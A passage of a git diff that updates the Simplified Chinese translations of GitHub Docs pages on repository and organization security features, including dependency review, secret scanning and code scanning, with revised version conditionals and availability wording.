-{% ifversion fpt or ghec %}For private repositories, view {% else %}View {% endif %}any secrets that {% data variables.product.prodname_dotcom %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+Automatically detect tokens or credentials that have been checked into a repository. {% ifversion fpt or ghec %}For secrets identified in public repositories, the service is informed that the secret may be compromised.{% endif %}
+{%- ifversion ghec or ghes or ghae %}
+{% ifversion ghec %}For private repositories, you can view {% elsif ghes or ghae %}View {% endif %}any secrets that {% data variables.product.company_short %} has found in your code. You should treat tokens or credentials that have been checked into the repository as compromised.{% endif %} For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-### Dependency review
+### 依赖项审查
 
-Show the full impact of changes to dependencies and see details of any vulnerable versions before you merge a pull request. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+在合并拉取请求之前显示依赖项更改的全部影响以及任何有漏洞版本的详情。 更多信息请参阅“[关于依赖项审查](/code-security/supply-chain-security/about-dependency-review)”。
 {% endif %}
 
-## Further reading
-- "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products)"
-- "[{% data variables.product.prodname_dotcom %} language support](/github/getting-started-with-github/github-language-support)"
+## 延伸阅读
+- “[{% data variables.product.prodname_dotcom %} 的产品](/github/getting-started-with-github/githubs-products)”
+- "[{% data variables.product.prodname_dotcom %} 语言支持](/github/getting-started-with-github/github-language-support)"
diff --git a/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md b/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md
index f88ddfd505..92361d61a2 100644
--- a/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md
+++ b/translations/zh-CN/content/code-security/getting-started/securing-your-organization.md
@@ -19,7 +19,7 @@ shortTitle: Secure your organization
 ## Introduction
 This guide shows you how to configure security features for an organization. Your organization's security needs are unique and you may not need to enable every security feature. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
 
-Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
+{% data reusables.advanced-security.security-feature-availability %}
 
 ## Managing access to your organization
 
@@ -55,10 +55,10 @@ For more information, see "[About alerts for vulnerable dependencies](/code-secu
 
 ## Managing dependency review
 
-Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. 
-{% ifversion fpt or ghec %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for an organization, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. 
+Dependency review is an {% data variables.product.prodname_advanced_security %} feature that lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+
+{% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}For private and internal repositories that are owned by an organization, you can enable dependency review by enabling the dependency graph and enabling {% data variables.product.prodname_advanced_security %} (see below). 
 {% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %}
-For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
 
 {% endif %}
 
@@ -83,11 +83,11 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you
 
 {% endif %}
 
-{% ifversion fpt or ghes > 2.22 or ghae or ghec %}
+{% ifversion ghes > 2.22 or ghae or ghec %}
 ## Managing {% data variables.product.prodname_GH_advanced_security %}
 
-{% ifversion fpt or ghes > 2.22 or ghec %}
-If your organization has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
+{% ifversion ghes > 2.22 or ghec %}
+If your {% ifversion ghec %}organization is owned by an enterprise that{% else %}enterprise{% endif %} has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
 {% elsif ghae %}
 You can enable or disable {% data variables.product.prodname_advanced_security %} features.
 {% endif %}
@@ -99,10 +99,18 @@ You can enable or disable {% data variables.product.prodname_advanced_security %
 5. Optionally, select **Automatically enable for new private repositories**. 
 
 For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
 
+{% ifversion fpt or ghes > 2.22 or ghae or ghec %}
 ## Configuring {% data variables.product.prodname_secret_scanning %}
-{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
 
+{% data variables.product.prodname_secret_scanning_caps %} is an {% data variables.product.prodname_advanced_security %} feature that scans repositories for secrets that are insecurely stored.
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is already enabled for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable {% data variables.product.prodname_secret_scanning %} for private and internal repositories.{% endif %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %}
+
+{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% ifversion not fpt %}
 You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled.
 
 1. Click your profile photo, then click **Organizations**.
@@ -112,9 +120,18 @@ You can enable or disable {% data variables.product.prodname_secret_scanning %}
 5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. 
 
 For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+{% endif %}
 
 {% endif %}
 
+## Configuring {% data variables.product.prodname_code_scanning %}
+
+{% data variables.product.prodname_code_scanning_capc %} is an {% data variables.product.prodname_advanced_security %} feature that scans code for security vulnerabilities and errors
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} is available for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally use {% data variables.product.prodname_code_scanning %} for private and internal repositories.{% else %}{% data variables.product.prodname_code_scanning_capc %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+
+{% data variables.product.prodname_code_scanning_capc %} is configured at the repository level. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
 ## Next steps
 {% ifversion fpt or ghes > 3.1 or ghec %}You can view, filter, and sort security alerts for repositories owned by your organization in the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% endif %}
 
diff --git a/translations/zh-CN/content/code-security/getting-started/securing-your-repository.md b/translations/zh-CN/content/code-security/getting-started/securing-your-repository.md
index 7cbdb8a96f..2fe026185a 100644
--- a/translations/zh-CN/content/code-security/getting-started/securing-your-repository.md
+++ b/translations/zh-CN/content/code-security/getting-started/securing-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your repository
-intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your repository secure.'
+title: 保护您的仓库
+intro: '您可以使用许多 {% data variables.product.prodname_dotcom %} 功能来帮助保护仓库的安全。'
 permissions: Repository administrators and organization owners can configure repository security settings.
 redirect_from:
   - /github/administering-a-repository/about-securing-your-repository
@@ -16,119 +16,126 @@ topics:
   - Dependencies
   - Vulnerabilities
   - Advanced Security
-shortTitle: Secure your repository
+shortTitle: 保护您的仓库
 ---
 
-## Introduction
-This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository.
+## 简介
+本指南向您展示如何配置仓库的安全功能。 您必须是仓库管理员或组织所有者才能配置仓库的安全设置。
 
-Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+您的安全需求是仓库独有的，因此您可能不需要启用仓库的每个功能。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 安全功能](/code-security/getting-started/github-security-features)”。
 
-Some security features are only available {% ifversion fpt or ghec %}for public repositories, and for private repositories owned by organizations with {% else %}if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license. {% data reusables.advanced-security.more-info-ghas %}
+{% data reusables.advanced-security.security-feature-availability %}
 
-## Managing access to your repository
+## 管理对仓库的访问
 
-The first step to securing a repository is to set up who can see and modify your code. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+保护仓库的第一步是设置谁可以查看和修改您的代码。 更多信息请参阅“[管理仓库设置](/github/administering-a-repository/managing-repository-settings)”。
 
-From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**, then scroll down to the "Danger Zone."
+从仓库主页点击 **{% octicon "gear" aria-label="The Settings gear" %}设置**，然后向下滚动到“危险区”。
 
-- To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec %}
-- To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
+- 要更改谁可以查看您的仓库，请点击 **Change visibility（更改可见性）**。 更多信息请参阅“[设置仓库可见性](/github/administering-a-repository/setting-repository-visibility)”。{% ifversion fpt or ghec %}
+- 要更改谁可以访问您的仓库并调整权限，请点击 **Manage access（管理访问）**。 更多信息请参阅“[管理有权访问仓库的团队和人员](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)”。{% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-## Setting a security policy
+## 设置安全策略
 
-1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**.
-2. Click **Security policy**.
-3. Click **Start setup**.
-4. Add information about supported versions of your project and how to report vulnerabilities.
+1. 从仓库的主页点击 **{% octicon "shield" aria-label="The shield symbol" %} Security（安全性）**。
+2. 点击 **Security policy（安全策略）**。
+3. 单击 **Start setup（开始设置）**。
+4. 添加关于项目受支持版本以及如何报告漏洞的信息。
 
-For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+更多信息请参阅“[添加安全政策到仓库](/code-security/getting-started/adding-a-security-policy-to-your-repository)”。
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Managing the dependency graph
+## 管理依赖关系图
 
 {% ifversion fpt or ghec %}
-Once you have [enabled the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph), it is automatically generated for all public repositories, and you can choose to enable it for private repositories.
+The dependency graph is automatically generated for all public repositories, and you can choose to enable it for private repositories. It interprets manifest and lock files in a repository to identify dependencies.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**.
-2. Click **Security & analysis**.
-3. Next to Dependency graph, click **Enable** or **Disable**.
+1. 从仓库的主页点击 **{% octicon "gear" aria-label="The Settings gear" %} Settings（设置）**。
+2. 点击 **Security & analysis（安全和分析）**。
+3. 在依赖关系图旁边，单击 **Enable（启用）**或 **Disable（禁用）**。
 {% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."
+更多信息请参阅“[探索仓库的依赖项](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)”。
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Managing {% data variables.product.prodname_dependabot_alerts %}
+## 管理 {% data variables.product.prodname_dependabot_alerts %}
 
-{% ifversion fpt or ghec %}By default, {% data variables.product.prodname_dotcom %} detects vulnerabilities in public repositories and generates {% data variables.product.prodname_dependabot_alerts %}. {% data variables.product.prodname_dependabot_alerts %} can also be enabled for private repositories.
+{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %}
 
-1. Click your profile photo, then click **Settings**.
-2. Click **Security & analysis**.
-3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}.
+{% ifversion fpt or ghec %}
+1. 单击您的个人资料照片，然后单击 **Settings（设置）**。
+2. 点击 **Security & analysis（安全和分析）**。
+3. 单击 {% data variables.product.prodname_dependabot_alerts %} 旁边的 **Enable all（全部启用）**。
 {% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" and "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account){% endif %}."
+更多信息请参阅“[关于漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}”和“[管理用户帐户的安全性和分析设置](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account){% endif %}”。
 
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-## Managing dependency review
+## 管理依赖项审查
 
-Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. 
-{%- ifversion fpt %}Dependency review is available in all public repositories. For private and internal repositories you require a license for {% data variables.product.prodname_advanced_security %}. To enable dependency review for a repository, enable the dependency graph and enable {% data variables.product.prodname_advanced_security %}. 
-{%- elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the repository (see below).{% endif %}
-For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+依赖项审查可让您在合并到仓库之前在拉取请求中显示依赖关系的变化。 更多信息请参阅“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)”。
+
+Dependency review is a {% data variables.product.prodname_GH_advanced_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_advanced_security %}.
+
+1. 从仓库的主页点击 **{% octicon "gear" aria-label="The Settings gear" %} Settings（设置）**。
+2. 点击 **Security & analysis（安全和分析）**。
+3. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes or ghae %}Check that dependency graph is configured for your enterprise.{% endif %}
+4. 如果 {% data variables.product.prodname_GH_advanced_security %} 尚未启用，请点击 **Enable（启用）**。
+
+{% endif %}
 
 {% endif %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 
-## Managing {% data variables.product.prodname_dependabot_security_updates %}
+## 管理 {% data variables.product.prodname_dependabot_security_updates %}
 
-For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected.
+对于任何使用 {% data variables.product.prodname_dependabot_alerts %} 的仓库，您可以启用 {% data variables.product.prodname_dependabot_security_updates %} 在检测到漏洞时提出带有安全更新的拉取请求。
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
-2. Click **Security & analysis**.
-3. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**.
+1. 从仓库的主页点击 **{% octicon "gear" aria-label="The Settings gear" %} Settings（设置）**。
+2. 点击 **Security & analysis（安全和分析）**。
+3. 在 {% data variables.product.prodname_dependabot_security_updates %} 旁边，单击 **Enable（启用）**。
 
-For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)."
+更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)”和“[配置 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)”。
 
-## Managing {% data variables.product.prodname_dependabot_version_updates %}
+## 管理 {% data variables.product.prodname_dependabot_version_updates %}
 
-You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)."
+您可以让 {% data variables.product.prodname_dependabot %} 自动提出拉取请求以保持依赖项的更新。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)“。
 
-To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+要启用 {% data variables.product.prodname_dependabot_version_updates %}，您必须创建 *dependabot.yml* 配置文件。 For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
 
 {% endif %}
 
-## Configuring {% data variables.product.prodname_code_scanning %}
+## 配置 {% data variables.product.prodname_code_scanning %}
 
-{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
+您可以设置 {% data variables.product.prodname_code_scanning %} 使用 {% data variables.product.prodname_codeql_workflow %} 或第三方工具自动识别仓库中存储的代码中的漏洞和错误。 更多信息请参阅“[为仓库设置 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)”。
 
-You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
 
-## Configuring {% data variables.product.prodname_secret_scanning %}
-{% data variables.product.prodname_secret_scanning_caps %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations with {% else %} for organization-owned repositories if you have {% endif %}an {% data variables.product.prodname_advanced_security %} license.
+## 配置 {% data variables.product.prodname_secret_scanning %}
 
-{% data variables.product.prodname_secret_scanning_caps %} may be enabled for your repository by default depending upon your organization's settings.
+{% data variables.product.prodname_secret_scanning_caps %} is {% ifversion fpt or ghec %}enabled for all public repositories and is available for private repositories owned by organizations that are part of an enterprise with a license for {% else %}available for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} may already be enabled for your repository, depending upon your organization's settings.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
-2. Click **Security & analysis**.
-3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
-4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. 
-
-## Next steps
-You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
-
-{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
+1. 从仓库的主页点击 **{% octicon "gear" aria-label="The Settings gear" %} Settings（设置）**。
+2. 点击 **Security & analysis（安全和分析）**。
+3. 如果 {% data variables.product.prodname_GH_advanced_security %} 尚未启用，请点击 **Enable（启用）**。
+4. 在 {% data variables.product.prodname_secret_scanning_caps %} 旁边，单击 **Enable（启用）**。
+{% endif %}
+
+## 后续步骤
+您可以查看和管理来自安全功能的警报，以解决代码中的依赖项和漏洞。 For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+
+{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. 更多信息请参阅“[关于 {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)”和“[创建安全通告](/code-security/security-advisories/creating-a-security-advisory)”。
 {% endif %}
diff --git a/translations/zh-CN/content/code-security/guides.md b/translations/zh-CN/content/code-security/guides.md
index d232a22a1f..8570a9dcd2 100644
--- a/translations/zh-CN/content/code-security/guides.md
+++ b/translations/zh-CN/content/code-security/guides.md
@@ -1,6 +1,6 @@
 ---
-title: Guides for code security
-intro: 'Learn about the different ways that {% data variables.product.product_name %} can help you improve your code''s security.'
+title: 代码安全指南
+intro: '了解 {% data variables.product.product_name %} 可以帮助您提高代码安全性的不同方式。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
index b148ac4d78..0ed154db46 100644
--- a/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
+++ b/translations/zh-CN/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Managing alerts from secret scanning
-intro: You can view and close alerts for secrets checked in to your repository.
+title: 管理来自密码扫描的警报
+intro: 您可以查看并关闭已检入仓库的密码的警报。
 product: '{% data reusables.gated-features.secret-scanning %}'
 redirect_from:
   - /github/administering-a-repository/managing-alerts-from-secret-scanning
@@ -16,51 +16,51 @@ topics:
   - Advanced Security
   - Alerts
   - Repositories
-shortTitle: Manage secret alerts
+shortTitle: 管理秘密警报
 ---
 
 {% data reusables.secret-scanning.beta %}
 
-## Managing {% data variables.product.prodname_secret_scanning %} alerts
+## 管理 {% data variables.product.prodname_secret_scanning %} 警报
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
-1. In the left sidebar, click **Secret scanning alerts**.
+1. 在左侧边栏中，单击 **Secret scanning alerts（机密扫描警报）**。
    {% ifversion fpt or ghes or ghec %}
-   !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png)
+   !["Secret scanning alerts（机密扫描警报）" 选项卡](/assets/images/help/repository/sidebar-secrets.png)
    {% endif %}
    {% ifversion ghae %}
-   !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
+   !["Secret scanning alerts（机密扫描警报）" 选项卡](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png)
    {% endif %}
-1. Under "Secret scanning" click the alert you want to view.
+1. 在“Secret scanning（密码扫描）”下，单击要查看的警报。
    {% ifversion fpt or ghec %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png)
+   ![来自密码扫描的警报](/assets/images/help/repository/secret-scanning-click-alert.png)
    {% endif %}
    {% ifversion ghes %}
-   ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
+   ![来自密码扫描的警报](/assets/images/help/repository/secret-scanning-click-alert-ghe.png)
    {% endif %}
    {% ifversion ghae %}
-   ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
+   ![来自密码扫描的警报](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png)
    {% endif %}
 1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert.
    {% ifversion fpt or ghec %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png)
+   ![用于解决来自密码扫描的警报的下拉菜单](/assets/images/help/repository/secret-scanning-resolve-alert.png)
    {% endif %}
    {% ifversion ghes or ghae %}
-   ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
+   ![用于解决来自密码扫描的警报的下拉菜单](/assets/images/help/repository/secret-scanning-resolve-alert-ghe.png)
    {% endif %}
 
-## Securing compromised secrets
+## 保护受到威胁的密码
 
-Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
+只要密码被提交到仓库，便应视为受到威胁。 {% data variables.product.prodname_dotcom %} 建议对受到威胁的密码执行以下操作：
 
-- For a compromised {% data variables.product.prodname_dotcom %} personal access token, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a personal access token for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
-- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
+- 对于受到威胁的 {% data variables.product.prodname_dotcom %} 个人访问令牌，请删除该令牌，创建新令牌，然后更新使用旧令牌的任何服务。 更多信息请参阅“[创建用于命令行的个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)。”
+- 对于所有其他密码，请先确认提交到 {% data variables.product.product_name %} 的密码是有效的。 如果有效，请创建新密码，更新使用旧密码的任何服务，然后删除旧密码。
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4910 or ghec %}
-## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts
+## 配置 {% data variables.product.prodname_secret_scanning %} 警报的通知
 
-When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
+当检测到新的机密时，{% data variables.product.product_name %} 会根据用户的通知首选项通知对仓库安全警报具有访问权限的所有用户。 You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, are the author of the commit that contains the secret and are not ignoring the repository.
 
-For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+更多信息请参阅“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)”和“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。
 {% endif %}
diff --git a/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md b/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md
index 16d8b25dda..292634e650 100644
